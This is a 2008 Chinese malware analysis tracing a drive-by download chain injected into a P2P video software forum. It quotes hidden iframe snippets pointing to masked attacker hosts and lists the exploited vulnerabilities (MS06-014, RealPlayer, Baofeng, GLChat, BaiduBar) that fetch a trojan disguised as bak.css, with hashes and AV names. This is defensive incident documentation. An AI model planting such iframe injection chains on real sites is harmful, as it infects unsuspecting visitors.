某P2P視頻軟體論壇被掛馬Trojan.DL.Win32.Mnless.rq

某P2P視頻軟體論壇被掛馬Trojan.DL.Win32.Mnless.rq

endurer 原創
2008-02-04 第1版

在該壇頁面中發現代碼：
/---
＜iframe src='hxxp://www.i***p*5*60.com/error.htm' width=100 height=1＞＜/iframe＞
---/

1 hxxp://www.i***p*5*60.com/error.htm
包含代碼：
/---
＜iframe width='100' height='100' src='wm/g15.htm'＞＜/iframe＞
＜iframe width='100' height='100' src='wm/dm.htm'＞＜/iframe＞
---/

1.1 hxxp://www.i***p*5*60.com/wm/g15.htm
利用 MS06-014: msadco.dll 嚴重漏洞 下載 hxxp://cIc**c.9**692*22.com/bak.css

bak.css其實是個PE格式的可執行檔

檔案說明符 : D:/test/bak.css
屬性 : A---
擷取檔案版本資訊大小失敗!
建立時間 : 2008-2-4 12:43:16
修改時間 : 2008-2-4 12:41:18
訪問時間 : 2008-2-4 12:43:59
大小 : 8848 位元組 8.656 KB
MD5 : 7f5a731244199c7f29623cc1f106b6c4
SHA1: 3E16217D8B2814E152016BCEC5AADE3DF2621AF3
CRC32: 8ee9bc7c

Kaspersky 報為 Trojan-Downloader.Win32.Small.hsh，瑞星報為 Trojan.DL.Win32.Mnless.rq＞＞upx_c

該病毒會釋放驅動程式，並替換windows系統檔案explorer.exe、ctfmon.exe、internat.exe、conime.exe

1.2 hxxp://www.i***p*5*60.com/wm/dm.htm
輸出代碼：
/---
＜script language=javascript src=11.js＞＜/script＞
＜iframe style=display:none src="re.htm"＞＜/iframe＞
＜iframe style=display:none src="storm.htm"＞＜/iframe＞
＜iframe style=display:none src="pdg2.htm"＞＜/iframe＞
＜iframe style=display:none src="wo.htm"＞＜/iframe＞
＜iframe width=100 height=0 src=Thunder.htm＞＜/iframe＞
＜iframe width=100 height=0 src=qvod.htm＞＜/iframe＞
---/

1.2.1 hxxp://www.i***p*5*60.com/wm/11.js
輸出代碼：
/---
＜iframe width='0' height='0' src='g14.htm'＞＜/iframe＞
---/

1.2.1.1 hxxp://www.i***p*5*60.com/wm/g14.htm
內容同 hxxp://www.i***p*5*60.com/wm/g15.htm

1.2.2 hxxp://www.i***p*5*60.com/wm/re.htm
利用RealPlayer漏洞的代碼。

1.2.3 hxxp://www.i***p*5*60.com/wm/storm.htm
利用 暴風影音 漏洞 下載 hxxp://down**.h*a**o3**65.org/bak.css

1.2.4 hxxp://www.i***p*5*60.com/wm/pdg2.htm
未能開啟

1.2.5 hxxp://www.i***p*5*60.com/wm/wo.htm
利用 聯眾世界GLChat.ocx 漏洞 下載 hxxp://down**.h*a**o3**65.org/bak.css
hxxp://down**.h*a**o3**65.org/bak.css 與 hxxp://cIc**c.9**692*22.com/bak.css 相同。

1.2.6 hxxp://www.i***p*5*60.com/wm/Thunder.htm
未能開啟

1.2.7 利用百度工具條（BaiduBar.Tool）下載 hxxp://cIc**c.9**692*22.com/Baidu1.cab
Baidu1.cab包含檔案Baidu.exe，與 bak.css 相同。

1.2.8 hxxp://www.i***p*5*60.com/wm/qvod.htm
未能開啟